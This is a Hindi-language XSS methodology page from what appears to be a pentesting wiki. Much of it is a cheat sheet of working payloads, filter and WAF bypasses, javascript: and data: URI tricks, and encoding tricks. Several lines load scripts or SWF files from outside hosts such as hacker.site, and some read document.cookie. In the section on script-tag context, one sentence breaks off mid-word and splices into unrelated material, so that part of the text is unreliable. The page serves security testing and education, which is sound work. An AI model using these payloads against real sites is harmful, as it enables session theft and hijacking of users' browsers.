.. | ||
abusing-service-workers.md | ||
chrome-cache-to-xss.md | ||
debugging-client-side-js.md | ||
dom-clobbering.md | ||
dom-invader.md | ||
dom-xss.md | ||
iframes-in-xss-and-csp.md | ||
js-hoisting.md | ||
other-js-tricks.md | ||
pdf-injection.md | ||
README.md | ||
server-side-xss-dynamic-pdf.md | ||
shadow-dom.md | ||
sniff-leak.md | ||
some-same-origin-method-execution.md | ||
steal-info-js.md | ||
xss-in-markdown.md | ||
xss-tools.md |
XSS (Cross Site Scripting)
/
Bug bounty tip: Intigriti के लिए sign up करें, एक प्रीमियम bug bounty platform जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है! हमसे जुड़ें https://go.intigriti.com/hacktricks आज ही, और $100,000 तक के bounties कमाना शुरू करें!
{% embed url="https://go.intigriti.com/hacktricks" %}
पद्धति
- जांचें कि क्या आपके द्वारा नियंत्रित कोई मूल्य (पैरामीटर्स, पथ, हेडर्स?, कुकीज़?) HTML में प्रतिबिंबित हो रहा है या JS कोड द्वारा उपयोग किया जा रहा है।
- संदर्भ का पता लगाएं जहां यह प्रतिबिंबित/उपयोग किया जा रहा है।
- यदि प्रतिबिंबित हो
- जांचें कौन से प्रतीक आप उपयोग कर सकते हैं और उसके आधार पर, पेलोड तैयार करें:
- कच्चे HTML में:
- क्या आप नए HTML टैग बना सकते हैं?
- क्या आप
javascript:
प्रोटोकॉल का समर्थन करने वाले इवेंट्स या एट्रिब्यूट्स का उपयोग कर सकते हैं? - क्या आप सुरक्षा उपायों को बायपास कर सकते हैं?
- क्या HTML सामग्री किसी क्लाइंट साइड JS इंजन (AngularJS, VueJS, Mavo...) द्वारा व्याख्या की जा रही है, आप Client Side Template Injection का दुरुपयोग कर सकते हैं।
- यदि आप JS कोड निष्पादित करने वाले HTML टैग नहीं बना सकते हैं, तो क्या आप Dangling Markup - HTML scriptless injection का दुरुपयोग कर सकते हैं?
- HTML टैग के अंदर:
- क्या आप कच्चे HTML संदर्भ से बाहर निकल सकते हैं?
- क्या आप नए इवेंट्स/एट्रिब्यूट्स बना सकते हैं जो JS कोड निष्पादित करें?
- क्या आपके द्वारा फंसे हुए एट्रिब्यूट में JS निष्पादन का समर्थन है?
- क्या आप सुरक्षा उपायों को बायपास कर सकते हैं?
- JavaScript कोड के अंदर:
- क्या आप
<script>
टैग से बाहर निकल सकते हैं? - क्या आप स्ट्रिंग से बाहर निकल सकते हैं और अलग JS कोड निष्पादित कर सकते हैं?
- क्या आपका इनपुट टेम्पलेट लिटरल्स `` में है?
- क्या आप सुरक्षा उपायों को बायपास कर सकते हैं?
- क्या आप
- कच्चे HTML में:
- जावास्क्रिप्ट फंक्शन जो निष्पादित हो रहा है
- आप निष्पादित करने के लिए फंक्शन का नाम इंगित कर सकते हैं। उदा.:
?callback=alert(1)
- आप निष्पादित करने के लिए फंक्शन का नाम इंगित कर सकते हैं। उदा.:
- जांचें कौन से प्रतीक आप उपयोग कर सकते हैं और उसके आधार पर, पेलोड तैयार करें:
- यदि उपयोग किया जा रहा है:
- आप DOM XSS का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित होता है और यदि आपका नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।
जब आप एक जटिल XSS पर काम कर रहे हों, तो आपको जानना दिलचस्प हो सकता है:
{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}
प्रतिबिंबित मूल्य
XSS का सफलतापूर्वक शोषण करने के लिए पहली चीज जो आपको खोजनी होगी वह है आपके द्वारा नियंत्रित मूल्य जो वेब पेज में प्रतिबिंबित हो रहा है।
- अंतराल प्रतिबिंबित: यदि आप पाते हैं कि पैरामीटर का मूल्य या यहां तक कि पथ वेब पेज में प्रतिबिंबित हो रहा है, तो आप Reflected XSS का शोषण कर सकते हैं।
- संग्रहीत और प्रतिबिंबित: यदि आप पाते हैं कि आपके द्वारा नियंत्रित मूल्य सर्वर में सहेजा जा रहा है और हर बार जब आप किसी पेज तक पहुंचते हैं तो प्रतिबिंबित होता है, तो आप Stored XSS का शोषण कर सकते हैं।
- JS के माध्यम से पहुंचा गया: यदि आप पाते हैं कि आपके द्वारा नियंत्रित मूल्य JS का उपयोग करके पहुंचा जा रहा है, तो आप DOM XSS का शोषण कर सकते हैं।
संदर्भ
XSS का शोषण करने की कोशिश करते समय पहली बात जो आपको पता होनी चाहिए वह है आपका इनपुट कहां प्रतिबिंबित हो रहा है। संदर्भ के आधार पर, आप विभिन्न तरीकों से मनमाने JS कोड को निष्पादित कर पाएंगे।
कच्चे HTML में
यदि आपका इनपुट कच्चे HTML पेज पर प्रतिबिंबित हो रहा है तो आपको JS कोड निष्पादित करने के लिए कुछ HTML टैग का दुरुपयोग करना होगा: <img , <iframe , <svg , <script
... ये कुछ संभावित HTML टैग हैं जिनका आप उपयोग कर सकते हैं।
साथ ही, Client Side Template Injection के बारे में ध्यान रखें।
HTML टैग्स एट्रिब्यूट के अंदर
यदि आपका इनपुट टैग के एट्रिब्यूट के मूल्य के अंदर प्रतिबिंबित हो रहा है, तो आप कोशिश कर सकते हैं:
- एट्रिब्यूट और टैग से बचने के लिए (तब आप कच्चे HTML में होंगे) और दुरुपयोग के लिए नया HTML टैग बनाएं:
"><img [...]
- यदि आप एट्रिब्यूट से बच सकते हैं लेकिन टैग से नहीं (
>
कोडित या हटाया गया है), तो टैग के आधार पर आप एक इवेंट बना सकते हैं जो JS कोड निष्पादित करता है:" autofocus onfocus=alert(1) x="
- यदि आप एट्रिब्यूट से बच नहीं सकते (
"
कोडित या हटाया गया है), तो आपके मूल्य के आधार पर कौन सा एट्रिब्यूट प्रतिबिंबित हो रहा है यदि आप पूरे मूल्य को नियंत्रित करते हैं या सिर्फ एक हिस्सा तो आप इसका दुरुपयोग कर पाएंगे। उदाहरण के लिए, यदि आप एक इवेंट जैसेonclick=
को नियंत्रित करते हैं तो आप इसे क्लिक किए जाने पर मनमाने कोड को निष्पादित करने में सक्षम होंगे। एक और दिलचस्प उदाहरणhref
एट्रिब्यूट है, जहां आपjavascript:
प्रोटोकॉल का उपयोग करके मनमाने कोड को निष्पादित कर सकते हैं:href="javascript:alert(1)"
- यदि आपका इनपुट "अनुपयोगी टैग्स" के अंदर प्रतिबिंबित हो रहा है तो आप
accesskey
चाल का प्रयास कर सकते हैं ताकि आप दोष का दुरुपयोग कर सकें (इसका शोषण करने के लिए आपको किसी प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी):" accesskey="x" onclick="alert(1)" x="
JavaScript कोड के अंदर
इस मामले में आपका इनपुट <script> [...] </script>
टैग्स के बी
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Javascript Hoisting
Javascript Hoisting का संदर्भ है फ़ंक्शन्स, वेरिएबल्स या क्लासेस को उनके इस्तेमाल के बाद घोषित करने की संभावना से, जिससे आप उन परिदृश्यों का दुरुपयोग कर सकते हैं जहां XSS अघोषित वेरिएबल्स या फ़ंक्शन्स का उपयोग कर रहा है।
अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:
{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}
Javascript Function
कई वेब पेजेस में एंडपॉइंट्स होते हैं जो पैरामीटर के रूप में फ़ंक्शन के नाम को स्वीकार करते हैं। एक आम उदाहरण जो वाइल्ड में देखने को मिलता है, वह है: ?callback=callbackFunc
.
यह जानने का एक अच्छा तरीका है कि क्या यूजर द्वारा सीधे दी गई कोई चीज़ कोशिश कर रही है इस्तेमाल की जाने की, पैरामीटर मान को संशोधित करना (उदाहरण के लिए 'Vulnerable') और कंसोल में त्रुटियों की तलाश करना जैसे:
यदि यह असुरक्षित है, तो आप अलर्ट ट्रिगर करने में सक्षम हो सकते हैं बस मान भेजकर: ?callback=alert(1)
. हालांकि, यह बहुत आम है कि ये एंडपॉइंट्स सामग्री को मान्य करेंगे ताकि केवल अक्षर, संख्या, डॉट्स और अंडरस्कोर्स की अनुमति हो ([\w\._]
).
फिर भी, उस सीमा के साथ भी कुछ क्रियाएं करना संभव है। यह इसलिए है क्योंकि आप उन वैध अक्षरों का उपयोग करके DOM में किसी भी तत्व तक पहुंच सकते हैं:
इसके लिए कुछ उपयोगी फ़ंक्शन्स:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
आप सीधे Javascript फंक्शन्स को ट्रिगर करने का प्रयास भी कर सकते हैं: obj.sales.delOrders
.
हालांकि, आमतौर पर उस फंक्शन को निष्पादित करने वाले एंडपॉइंट्स ऐसे होते हैं जिनमें ज्यादा दिलचस्प DOM नहीं होता, उसी मूल के अन्य पृष्ठों में अधिक दिलचस्प DOM होता है जिससे अधिक क्रियाएं की जा सकती हैं।
इसलिए, अलग DOM में इस कमजोरी का दुरुपयोग करने के लिए Same Origin Method Execution (SOME) का शोषण विकसित किया गया था:
{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
DOM
JS कोड है जो असुरक्षित रूप से कुछ डेटा का उपयोग कर रहा है जिसे हमलावर द्वारा नियंत्रित किया जा सकता है जैसे कि location.href
. एक हमलावर, इसका दुरुपयोग करके मनमाने JS कोड को निष्पादित कर सकता है।
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Universal XSS
इस प्रकार के XSS कहीं भी पाए जा सकते हैं। वे केवल वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं होते बल्कि किसी भी संदर्भ पर निर्भर होते हैं। इस प्रकार के मनमाने JavaScript निष्पादन का दुरुपयोग RCE प्राप्त करने, मनमानी फाइलों को पढ़ने में क्लाइंट्स और सर्वर्स में, और अधिक के लिए किया जा सकता है।
कुछ उदाहरण:
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}
WAF bypass encoding image
Injecting inside raw HTML
जब आपका इनपुट HTML पेज के अंदर प्रतिबिंबित होता है या आप बाहर निकल सकते हैं और इस संदर्भ में HTML कोड इंजेक्ट कर सकते हैं तो पहली बात जो आपको करनी चाहिए वह है यह जांचना कि क्या आप <
का दुरुपयोग करके नए टैग बना सकते हैं: बस उस चार को प्रतिबिंबित करने का प्रयास करें और जांचें कि क्या वह HTML एन्कोडेड है या हटाया गया है या यदि वह बिना परिवर्तन के प्रतिबिंबित हो रहा है। केवल अंतिम मामले में आप इस मामले का शोषण कर पाएंगे।
इस मामले के लिए भी ध्यान रखें Client Side Template Injection.
नोट: HTML कमेंट को -->
या --!>
का उपयोग करके बंद किया जा सकता है
इस मामले में और अगर कोई ब्लैक/व्हाइटलिस्टिंग का उपयोग नहीं किया जा रहा है, तो आप जैसे पेलोड्स का उपयोग कर सकते हैं:
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
लेकिन, यदि टैग/विशेषताओं की ब्लैक/व्हाइटलिस्टिंग का उपयोग किया जा रहा है, तो आपको ब्रूट-फोर्स करना होगा कि कौन से टैग आप बना सकते हैं। एक बार जब आपने पता लगा लिया कि कौन से टैग अनुमति हैं, तो आपको ब्रूट-फोर्स विशेषताएं/इवेंट्स करने की जरूरत होगी जो मिले हुए वैध टैग्स के अंदर हैं ताकि आप देख सकें कि आप संदर्भ को कैसे हमला कर सकते हैं।
टैग्स/इवेंट्स ब्रूट-फोर्स
जाएं https://portswigger.net/web-security/cross-site-scripting/cheat-sheet पर और क्लिक करें Copy tags to clipboard पर। फिर, उन सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा मालिशियस के रूप में नहीं पाया गया। एक बार जब आपने पता लगा लिया कि आप कौन से टैग्स का उपयोग कर सकते हैं, तो आप सभी इवेंट्स को ब्रूट फोर्स कर सकते हैं वैध टैग्स का उपयोग करके (उसी वेब पेज पर क्लिक करें Copy events to clipboard पर और पहले की तरह ही प्रक्रिया का पालन करें)।
कस्टम टैग्स
यदि आपको कोई वैध HTML टैग नहीं मिला, तो आप कस्टम टैग बनाने की कोशिश कर सकते हैं और onfocus
विशेषता के साथ JS कोड को निष्पादित कर सकते हैं। XSS अनुरोध में, आपको URL को #
के साथ समाप्त करने की जरूरत है ताकि पेज उस ऑब्जेक्ट पर फोकस करे और कोड निष्पादित करे:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
ब्लैकलिस्ट बायपास
यदि किसी प्रकार की ब्लैकलिस्ट का उपयोग किया जा रहा है, तो आप कुछ सरल चालों के साथ इसे बायपास करने का प्रयास कर सकते हैं:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
लंबाई बाईपास (छोटे XSSs)
{% hint style="info" %} विभिन्न पर्यावरणों के लिए और अधिक छोटे XSS पेलोड यहाँ पाए जा सकते हैं और यहाँ. {% endhint %}
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>
अंतिम एक 2 यूनिकोड अक्षरों का उपयोग करता है जो 5 में विस्तारित होता है: telsr
इन अक्षरों के और उदाहरण यहाँ पर पाए जा सकते हैं।
यह जांचने के लिए कि कौन से अक्षर विघटित होते हैं, यहाँ देखें।
Click XSS - Clickjacking
यदि भेद्यता का शोषण करने के लिए आपको उपयोगकर्ता से एक लिंक या फॉर्म पर क्लिक करवाने की आवश्यकता है जिसमें पहले से भरा हुआ डेटा हो, तो आप Clickjacking का दुरुपयोग करने की कोशिश कर सकते हैं (यदि पृष्ठ भेद्य है)।
Impossible - Dangling Markup
यदि आप सोचते हैं कि HTML टैग बनाना असंभव है जिसमें JS कोड निष्पादित करने के लिए एक विशेषता हो, तो आपको Dangling Markup देखना चाहिए क्योंकि आप JS कोड निष्पादित किए बिना भेद्यता का शोषण कर सकते हैं।
HTML टैग के अंदर इंजेक्ट करना
टैग के अंदर/विशेषता मूल्य से बचना
यदि आप HTML टैग के अंदर हैं, तो पहली चीज जो आप कोशिश कर सकते हैं वह है टैग से बचना और पिछले अनुभाग में उल्लिखित कुछ तकनीकों का उपयोग करके JS कोड निष्पादित करना।
यदि आप टैग से बच नहीं सकते, तो आप टैग के अंदर नई विशेषताएँ बनाकर JS कोड निष्पादित करने की कोशिश कर सकते हैं, उदाहरण के लिए कुछ पेलोड का उपयोग करते हुए (ध्यान दें कि इस उदाहरण में विशेषता से बचने के लिए डबल कोट्स का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर प्रतिबिंबित होता है तो आपको उनकी आवश्यकता नहीं होगी):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
स्टाइल इवेंट्स
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
एट्रिब्यूट के भीतर
यदि आप एट्रिब्यूट से बाहर नहीं निकल सकते (डबल कोट्स " "
को एन्कोड या हटाया जा रहा है), तो इस बात पर निर्भर करता है कि किस एट्रिब्यूट में आपका मूल्य प्रतिबिंबित हो रहा है यदि आप पूरे मूल्य पर नियंत्रण रखते हैं या केवल एक हिस्से पर तो आप इसका दुरुपयोग कर सकते हैं। उदाहरण के लिए, यदि आप onclick=
जैसे इवेंट पर नियंत्रण रखते हैं, तो आप इसे क्लिक किए जाने पर मनमाना कोड निष्पादित करने के लिए बना सकते हैं।
एक और दिलचस्प उदाहरण href
एट्रिब्यूट का है, जहां आप javascript:
प्रोटोकॉल का उपयोग करके मनमाना कोड निष्पादित कर सकते हैं: href="javascript:alert(1)"
HTML एन्कोडिंग/URL एन्कोड का उपयोग करके इवेंट के अंदर बाईपास
HTML टैग्स के एट्रिब्यूट्स के मूल्य के भीतर HTML एन्कोडेड कैरेक्टर्स को रनटाइम पर डिकोड किया जाता है। इसलिए निम्नलिखित जैसा कुछ मान्य होगा (पेलोड बोल्ड में है): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Go Back </a>
ध्यान दें कि किसी भी प्रकार का HTML एन्कोड मान्य है:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
ध्यान दें कि URL एन्कोड भी काम करेगा:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Unicode encode का उपयोग करके इवेंट के अंदर Bypass
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
एट्रिब्यूट के भीतर विशेष प्रोटोकॉल
वहां आप कुछ स्थानों पर javascript:
या data:
प्रोटोकॉल का उपयोग करके मनमाना JS कोड निष्पादित कर सकते हैं। कुछ को उपयोगकर्ता की बातचीत की आवश्यकता होगी और कुछ को नहीं।
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascriptΪlert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
जहां आप इन प्रोटोकॉल्स को इंजेक्ट कर सकते हैं
सामान्य तौर पर javascript:
प्रोटोकॉल का उपयोग किसी भी टैग में किया जा सकता है जो href
एट्रिब्यूट को स्वीकार करता है और अधिकांश टैग्स में जो एट्रिब्यूट src
को स्वीकार करते हैं (लेकिन <img
में नहीं)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
अन्य छलावरण तरकीबें
इस मामले में पिछले भाग से HTML एन्कोडिंग और Unicode एन्कोडिंग की तरकीब भी मान्य है क्योंकि आप एक एट्रिब्यूट के अंदर हैं।
<a href="javascript:var a=''-alert(1)-''">
इसके अलावा, इन मामलों के लिए एक और अच्छी चाल है: यहाँ तक कि अगर आपका इनपुट javascript:...
के अंदर URL encoded हो रहा है, तो यह निष्पादित होने से पहले URL decoded हो जाएगा। इसलिए, अगर आपको बचना है स्ट्रिंग से एक एकल उद्धरण का उपयोग करके और आप देखते हैं कि यह URL encoded हो रहा है, तो याद रखें कि यह मायने नहीं रखता, यह निष्पादन के समय एक एकल उद्धरण के रूप में व्याख्यायित किया जाएगा।
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
ध्यान दें कि यदि आप payload को encode करने के लिए URLencode + HTMLencode
दोनों का उपयोग करने की कोशिश करते हैं तो यह काम नहीं करेगा, लेकिन आप payload के अंदर उन्हें मिला सकते हैं।
javascript:
के साथ Hex और Octal encode का उपयोग करना
आप Hex और Octal encode का उपयोग iframe
के src
विशेषता में (कम से कम) HTML टैग्स को JS निष्पादित करने के लिए घोषित करने के लिए कर सकते हैं:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
रिवर्स टैब नैबिंग
<a target="_blank" rel="opener"
यदि आप किसी भी URL को मनमाने <a href=
टैग में इंजेक्ट कर सकते हैं जिसमें target="_blank" और rel="opener"
विशेषताएँ होती हैं, तो इस व्यवहार का शोषण करने के लिए निम्नलिखित पृष्ठ की जाँच करें:
{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}
on इवेंट हैंडलर्स बायपास
सबसे पहले इस पृष्ठ की जाँच करें (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) उपयोगी "on" इवेंट हैंडलर्स के लिए।
यदि कोई ब्लैकलिस्ट आपको इन इवेंट हैंडलर्स को बनाने से रोक रही है, तो आप निम्नलिखित बायपास का प्रयास कर सकते हैं:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
"Unexploitable tags" में XSS (hidden input, link, canonical, meta)
यहाँ से अब hidden inputs का दुरुपयोग संभव है:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
और मेटा टैग्स में:
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
यहाँ से: आप एक XSS payload को छिपे हुए attribute के अंदर निष्पादित कर सकते हैं, बशर्ते आप पीड़ित को key combination दबाने के लिए मना सकें। Firefox Windows/Linux पर key combination है ALT+SHIFT+X और OS X पर यह है CTRL+ALT+X। आप access key attribute में एक अलग key का उपयोग करके एक अलग key combination निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS payload इस प्रकार होगा: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
इस खंड में पहले ही विभिन्न एन्कोडिंग का उपयोग करके कई चालें प्रकट की जा चुकी हैं। वापस जाएं और जानें कहां आप उपयोग कर सकते हैं:
- HTML एन्कोडिंग (HTML टैग्स)
- Unicode एन्कोडिंग (वैध JS कोड हो सकता है):
\u0061lert(1)
- URL एन्कोडिंग
- Hex और Octal एन्कोडिंग
- data एन्कोडिंग
HTML टैग्स और एट्रिब्यूट्स के लिए Bypasses
पिछले खंड के Blacklist Bypasses पढ़ें।
JavaScript कोड के लिए Bypasses
अगले खंड के JavaScript bypass blacklist पढ़ें।
CSS-Gadgets
यदि आपने वेब के बहुत छोटे हिस्से में XSS पाया है जिसके लिए किसी प्रकार की इंटरैक्शन की आवश्यकता है (शायद फुटर में एक छोटा लिंक जिसमें onmouseover एलिमेंट हो), आप उस एलिमेंट की जगह को मॉडिफाई करने की कोशिश कर सकते हैं ताकि लिंक फायर होने की संभावनाएं बढ़ जाएं।
उदाहरण के लिए, आप एलिमेंट में कुछ स्टाइलिंग जोड़ सकते हैं जैसे: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
लेकिन, अगर WAF स्टाइल एट्रिब्यूट को फिल्टर कर रहा है, तो आप CSS Styling Gadgets का उपयोग कर सकते हैं, तो यदि आप पाते हैं, उदाहरण के लिए
.test {display:block; color: blue; width: 100%}
और
#someid {top: 0; font-family: Tahoma;}
अब आप हमारे लिंक को मॉडिफाई कर सकते हैं और इसे रूप में ला सकते हैं
<a href=”” id=someid class=test onclick=alert() a=””>
यह ट्रिक https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703 से ली गई थी।
JavaScript कोड के अंदर Injecting
इन मामलों में आपका इनपुट .js
फाइल के JS कोड के अंदर या <script>...</script>
टैग्स के बीच या HTML इवेंट्स के बीच जो JS कोड एक्जीक्यूट कर सकते हैं या एट्रिब्यूट्स के बीच जो javascript:
प्रोटोकॉल स्वीकार करते हैं, प्रतिबिंबित होने वाला है।
<script> टैग से Escaping
यदि आपका कोड <script> [...] var input = 'reflected data' [...] </script>
के अंदर डाला गया है, तो आप आसानी से <script>
टैग को बंद कर सकते हैं:
</script><img src=1 onerror=alert(document.domain)>
JS कोड के अंदर
यदि <>
को स्वच्छ किया जा रहा है तो आप अभी भी स्ट्रिंग से बाहर निकल सकते हैं जहां आपका इनपुट स्थित है और मनमाना JS निष्पादित कर सकते हैं। JS सिंटैक्स को ठीक करना महत्वपूर्ण है, क्योंकि यदि कोई त्रुटियां हैं, तो JS कोड निष्पादित नहीं किया जाएगा:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
टेम्पलेट लिटरल्स ``
JS में स्ट्रिंग्स बनाने के लिए सिंगल और डबल कोट्स के अलावा बैकटिक्स ``
का भी इस्तेमाल होता है। इसे टेम्पलेट लिटरल्स कहा जाता है क्योंकि ये ${ ... }
सिंटैक्स का उपयोग करके JS एक्सप्रेशन्स को एम्बेड करने की अनुमति देते हैं।
इसलिए, अगर आप पाते हैं कि आपका इनपुट JS स्ट्रिंग में रिफ्लेक्ट हो रहा है जो बैकटिक्स का उपयोग कर रही है, तो आप ${ ... }
सिंटैक्स का दुरुपयोग करके मनमाना JS कोड निष्पादित कर सकते हैं:
इसका दुरुपयोग निम्नलिखित प्रकार से किया जा सकता है:
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````
एन्कोडेड कोड निष्पादन
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Unicode Encode JS निष्पादन
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
JavaScript ब्लैकलिस्ट तकनीकों को बायपास करना
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
